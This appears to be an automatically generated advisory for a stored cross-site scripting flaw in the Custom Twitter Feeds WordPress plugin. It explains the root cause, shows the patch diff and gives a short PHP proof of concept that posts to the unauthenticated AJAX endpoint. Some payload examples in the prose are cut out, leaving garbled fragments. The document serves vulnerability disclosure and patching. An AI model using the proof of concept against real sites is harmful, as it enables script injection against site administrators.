Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 15, 2026

CVE-2026-6177: Custom Twitter Feeds <= 2.5.4 – Unauthenticated Stored Cross-Site Scripting via Cached Tweet Text (custom-twitter-feeds)

CVE ID CVE-2026-6177
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.5.4
Patched Version 2.5.5
Disclosed May 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6177:

This vulnerability allows unauthenticated stored cross-site scripting (XSS) in the Custom Twitter Feeds plugin for WordPress up to version 2.5.4. The flaw resides in the CTF_Display_Elements::get_post_text() function, which outputs cached tweet text without proper HTML escaping. The CTF plugin’s ctf_get_more_posts AJAX action is accessible to unauthenticated users and directly renders cached tweet data through nl2br() without sanitization. An attacker who can inject malicious content into cached tweet data can execute arbitrary JavaScript when the endpoint is accessed.

The root cause is insufficient output escaping in the CTF_Display_Elements.php file, specifically in the get_post_text() function at lines 502 and 518. The vulnerable code calls nl2br($post_text) without any HTML encoding. The function appears in two places within the same method: one for linked tweet text (line 502) and one for non-linked tweet text (line 518). Both instances pass the raw $post_text variable through nl2br() but fail to apply wp_kses_post() or esc_html() to strip or escape HTML/JavaScript. The $post_text comes from cached tweet data stored in the database after being fetched from Twitter’s API. The ctf_get_more_posts AJAX action, registered via WordPress’s wp_ajax and wp_ajax_nopriv hooks, accepts the cached data and outputs it directly without any permission check beyond the AJAX handler itself.

To exploit this vulnerability, an attacker first needs to get malicious content into the cached tweet text. The most direct method is to craft a tweet on Twitter (now X) containing JavaScript payloads such as alert(‘XSS’); or . When the site administrator’s feed configuration includes tweets matching certain criteria, the plugin caches that tweet’s text in the WordPress database. The attacker then triggers the ctf_get_more_posts AJAX action by sending a POST request to /wp-admin/admin-ajax.php with action=ctf_get_more_posts. The attacker does not need authentication. The AJAX handler fetches the cached tweets and renders them through the vulnerable CTF_Display_Elements::get_post_text() function. The payload executes in the context of any user visiting the endpoint.

The patch in version 2.5.5 addresses the vulnerability by wrapping the nl2br($post_text) output with wp_kses_post(). In the CTF_Display_Elements.php diff, both occurrences of echo nl2br($post_text) are changed to echo wp_kses_post(nl2br($post_text)). The wp_kses_post() function strips all disallowed HTML tags and attributes, allowing only a safe subset of HTML that WordPress considers acceptable for post content (basic formatting tags like , , , etc., but not , , or event handlers like onerror). The patch also includes minor unrelated fixes: a missing variable assignment in the date formatting switch statement, a correction to a date format case label (case ’18’ to ’20’ to avoid collision with another date format), and a refactoring of the admin footer removal logic in CTF_Global_Settings.php to be conditional on the current admin page.

Successful exploitation enables an unauthenticated attacker to execute arbitrary JavaScript in the browsers of administrators or other users viewing the affected endpoint. This can lead to session hijacking, credential theft, forced administrative actions (e.g., creating rogue admin users), defacement, or redirection to malicious sites. The CVSS score of 7.2 reflects the high impact on confidentiality, integrity, and availability. Since the attack requires no authentication and can be performed remotely, the risk is elevated for any WordPress site running the vulnerable plugin version.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/custom-twitter-feeds/custom-twitter-feed.php
+++ b/custom-twitter-feeds/custom-twitter-feed.php
@@ -5,7 +5,7 @@
 Plugin Name: Custom Twitter Feeds
 Plugin URI: https://smashballoon.com/custom-twitter-feeds
 Description: Customizable X Feeds, formerly known as Twitter feeds, for your website
-Version: 2.5.4
+Version: 2.5.5
 Author: Smash Balloon
 Author URI: https://smashballoon.com/
 Text Domain: custom-twitter-feeds
@@ -31,7 +31,7 @@
 	define( 'CTF_DOING_SMASH_TWITTER', empty($ctf_options['consumer_key']) && empty($ctf_options['consumer_secret']));

 	define( 'CTF_URL', plugin_dir_path( __FILE__ )  );
-	define( 'CTF_VERSION', '2.5.4' );
+	define( 'CTF_VERSION', '2.5.5' );
 	define( 'CTF_TITLE', 'Custom Twitter Feeds' );
 	define( 'CTF_JS_URL', plugins_url( '/js/ctf-scripts.min.js?ver=' . CTF_VERSION , __FILE__ ) );
 	define( 'CTF_PRODUCT_NAME', 'Custom Twitter Feeds' );
@@ -631,7 +631,7 @@
 				$date_str = date_i18n( 'd.m.y', $tz_offset_timestamp );
 				break;
 			case '19':
-				date_i18n( 'd.m.y - G:i', $tz_offset_timestamp );
+				$date_str = date_i18n( 'd.m.y - G:i', $tz_offset_timestamp );
 				break;
 			case '13':
 				$date_str = date_i18n( 'd/m/y', $tz_offset_timestamp );
@@ -648,7 +648,7 @@
 			case '17':
 				$date_str = date_i18n( 'l jS F Y, G:i', $tz_offset_timestamp );
 				break;
-			case '18':
+			case '20':
 				$date_str = date_i18n( 'Y-m-d', $tz_offset_timestamp );
 				break;
 			default:
--- a/custom-twitter-feeds/inc/Admin/CTF_Global_Settings.php
+++ b/custom-twitter-feeds/inc/Admin/CTF_Global_Settings.php
@@ -48,7 +48,7 @@
 		}

 		add_action('admin_menu', [$this, 'register_menu']);
-		add_filter( 'admin_footer_text', [$this, 'remove_admin_footer_text'] );
+		add_action('in_admin_header', [$this, 'maybe_remove_admin_footer']);

 		add_action( 'wp_ajax_ctf_save_settings', [$this, 'ctf_save_settings'] );
 		add_action( 'wp_ajax_ctf_activate_license', [$this, 'ctf_activate_license'] );
@@ -687,14 +687,27 @@
 	}

 	/**
-	 * Remove admin footer message
+	 * Conditionally remove admin footer on plugin pages only.
 	 *
-	 * @since 2.0
-	 *
-	 * @return void
+	 * @since 2.6
 	 */
+	public function maybe_remove_admin_footer() {
+		static $plugin_pages = array(
+			'custom-twitter-feeds',
+			'ctf-feed-builder',
+			'ctf-settings',
+			'ctf-about-us',
+			'ctf-support',
+		);
+		$current_page = isset($_GET['page']) ? sanitize_key($_GET['page']) : '';
+		if (in_array($current_page, $plugin_pages, true)) {
+			add_filter('admin_footer_text', [$this, 'remove_admin_footer_text']);
+			add_filter('update_footer', [$this, 'remove_admin_footer_text'], 11);
+		}
+	}
+
 	public function remove_admin_footer_text() {
-		return;
+		return '';
 	}

 	/**
@@ -703,8 +716,6 @@
 	 * @since 2.0
 	 */
 	function register_menu() {
-		// remove admin page update footer
-		add_filter( 'update_footer', [$this, 'remove_admin_footer_text'] );

 		$cap = ctf_get_manage_options_cap();

--- a/custom-twitter-feeds/inc/Builder/CTF_Feed_Saver.php
+++ b/custom-twitter-feeds/inc/Builder/CTF_Feed_Saver.php
@@ -328,6 +328,12 @@
 			$return['feed_name'] = $settings_db_data[0]['feed_name'];
 		}
 		$return = wp_parse_args( $return, CTF_Feed_Saver::settings_defaults() );
+
+		// Ensure dateformat is always a string for proper select matching in the customizer.
+		if ( isset( $return['dateformat'] ) ) {
+			$return['dateformat'] = (string) $return['dateformat'];
+		}
+
 		return $return;
 	}

--- a/custom-twitter-feeds/inc/Builder/Tabs/CTF_Builder_Customizer_Tab.php
+++ b/custom-twitter-feeds/inc/Builder/Tabs/CTF_Builder_Customizer_Tab.php
@@ -135,7 +135,7 @@
 			'15'		=> date('jS F Y, G:i', $original),
 			'16'		=> date('d M Y, G:i', $original),
 			'17'		=> date('l jS F Y, G:i', $original),
-			'18'		=> date('Y-m-d', $original),
+			'20'		=> date('Y-m-d', $original),
 			'custom'	=> __('Custom','custom-twitter-feeds')
 		];
 	}
--- a/custom-twitter-feeds/inc/CTF_Display_Elements.php
+++ b/custom-twitter-feeds/inc/CTF_Display_Elements.php
@@ -502,7 +502,7 @@
                 <a class="ctf-tweet-text-link" href="<?php echo esc_url( 'https://twitter.com/' . $author_screen_name . '/status/' .$post_id ) ?>" target = "_blank" rel = "noopener noreferrer">
             <?php } ?>
                 <p class="ctf-tweet-text">
-                    <?php echo nl2br( $post_text ) ?>
+                    <?php echo wp_kses_post( nl2br( $post_text ) ) ?>
                     <?php
                         if(!$feed_options['is_legacy'] || ($feed_options['is_legacy'] && ctf_show( 'placeholder', $feed_options ))){
                             echo $post_media_text;
@@ -518,7 +518,7 @@
             <a class="ctf-tweet-text-link" <?php echo $text_and_link_attr; ?> href="<?php echo esc_url( 'https://twitter.com/' . $author_screen_name . '/status/' .$post_id ) ?>" target = "_blank" rel = "noopener noreferrer">
                 <p class="ctf-tweet-text" <?php echo $post_text_attr; ?>></p>
             </a>
-            <p class="ctf-tweet-text" <?php echo $text_no_link_attr; ?> <?php echo $post_text_attr; ?>><?php echo nl2br( $post_text ) ?></p>
+            <p class="ctf-tweet-text" <?php echo $text_no_link_attr; ?> <?php echo $post_text_attr; ?>><?php echo wp_kses_post( nl2br( $post_text ) ) ?></p>
             <?php
                 if(!$feed_options['is_legacy'] || ($feed_options['is_legacy'] && ctf_show( 'placeholder', $feed_options ))){
                     echo $post_media_text;
--- a/custom-twitter-feeds/vendor/composer/installed.php
+++ b/custom-twitter-feeds/vendor/composer/installed.php
@@ -2,4 +2,4 @@

 namespace SmashballoonTwitterFeedVendor;

-return array('root' => array('name' => 'smashballoon/custom-twitter-feeds', 'pretty_version' => 'v2.5.4', 'version' => '2.5.4.0', 'reference' => '5b6bfa2bb2c7ec07b5cdd43d73ebd99c1808ee44', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('laravel/serializable-closure' => array('pretty_version' => 'v1.3.7', 'version' => '1.3.7.0', 'reference' => '4f48ade902b94323ca3be7646db16209ec76be3d', 'type' => 'library', 'install_path' => __DIR__ . '/../laravel/serializable-closure', 'aliases' => array(), 'dev_requirement' => false), 'php-di/invoker' => array('pretty_version' => '2.3.7', 'version' => '2.3.7.0', 'reference' => '3c1ddfdef181431fbc4be83378f6d036d59e81e1', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/invoker', 'aliases' => array(), 'dev_requirement' => false), 'php-di/php-di' => array('dev_requirement' => false, 'replaced' => array(0 => '6.4.0')), 'php-di/phpdoc-reader' => array('pretty_version' => '2.2.1', 'version' => '2.2.1.0', 'reference' => '66daff34cbd2627740ffec9469ffbac9f8c8185c', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/phpdoc-reader', 'aliases' => array(), 'dev_requirement' => false), 'psr/container' => array('pretty_version' => '1.1.2', 'version' => '1.1.2.0', 'reference' => '513e0666f7216c7459170d56df27dfcefe1689ea', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false), 'smashballoon/custom-twitter-feeds' => array('pretty_version' => 'v2.5.4', 'version' => '2.5.4.0', 'reference' => '5b6bfa2bb2c7ec07b5cdd43d73ebd99c1808ee44', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'smashballoon/framework' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => 'fcf3511827434c056c90f80a7ff9935f4fbe99df', 'type' => 'library', 'install_path' => __DIR__ . '/../smashballoon/framework', 'aliases' => array(0 => '1.0.0', 1 => '9999999-dev'), 'dev_requirement' => false)));
+return array('root' => array('name' => 'smashballoon/custom-twitter-feeds', 'pretty_version' => 'v2.5.5', 'version' => '2.5.5.0', 'reference' => 'd01171ce56f032d8c06bf160433d2cbf4b39cfd3', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('laravel/serializable-closure' => array('pretty_version' => 'v1.3.7', 'version' => '1.3.7.0', 'reference' => '4f48ade902b94323ca3be7646db16209ec76be3d', 'type' => 'library', 'install_path' => __DIR__ . '/../laravel/serializable-closure', 'aliases' => array(), 'dev_requirement' => false), 'php-di/invoker' => array('pretty_version' => '2.3.7', 'version' => '2.3.7.0', 'reference' => '3c1ddfdef181431fbc4be83378f6d036d59e81e1', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/invoker', 'aliases' => array(), 'dev_requirement' => false), 'php-di/php-di' => array('dev_requirement' => false, 'replaced' => array(0 => '6.4.0')), 'php-di/phpdoc-reader' => array('pretty_version' => '2.2.1', 'version' => '2.2.1.0', 'reference' => '66daff34cbd2627740ffec9469ffbac9f8c8185c', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/phpdoc-reader', 'aliases' => array(), 'dev_requirement' => false), 'psr/container' => array('pretty_version' => '1.1.2', 'version' => '1.1.2.0', 'reference' => '513e0666f7216c7459170d56df27dfcefe1689ea', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false), 'smashballoon/custom-twitter-feeds' => array('pretty_version' => 'v2.5.5', 'version' => '2.5.5.0', 'reference' => 'd01171ce56f032d8c06bf160433d2cbf4b39cfd3', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'smashballoon/framework' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => 'fcf3511827434c056c90f80a7ff9935f4fbe99df', 'type' => 'library', 'install_path' => __DIR__ . '/../smashballoon/framework', 'aliases' => array(0 => '1.0.0', 1 => '9999999-dev'), 'dev_requirement' => false)));

Proof of Concept (PHP)

PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6177 - Custom Twitter Feeds <= 2.5.4 - Unauthenticated Stored Cross-Site Scripting via Cached Tweet Text

$target_url = 'http://example.com'; // Change to your target WordPress site
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Step 1: First, we need to get malicious content into the cached tweet data.
// Since the plugin caches tweets from Twitter's API, the attacker must tweet a malicious payload
// from a real Twitter account, then have the site admin's feed configuration include that tweet.
// Alternatively, if other vulnerabilities exist (e.g., SQL injection), the cached data could be injected directly.
// This PoC assumes the attacker has already injected a malicious tweet into the cache.
// The payload will be fetched and rendered when the AJAX endpoint is called.

// Step 2: Trigger the vulnerable AJAX endpoint to force the plugin to render cached tweets.
// The ctf_get_more_posts action does not require authentication.
$payload = array(
    'action' => 'ctf_get_more_posts',
    'feed_id' => '1', // Adjust based on actual feed configuration
    'num' => '5',
    'offset' => '0'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
// The response will contain the injected JavaScript payload executed in the browser
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response:n$responsen";
echo "If the response includes unescaped HTML/JavaScript from the cached tweet, the XSS is triggered in any browser that renders this output.n";

Frequently Asked Questions

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School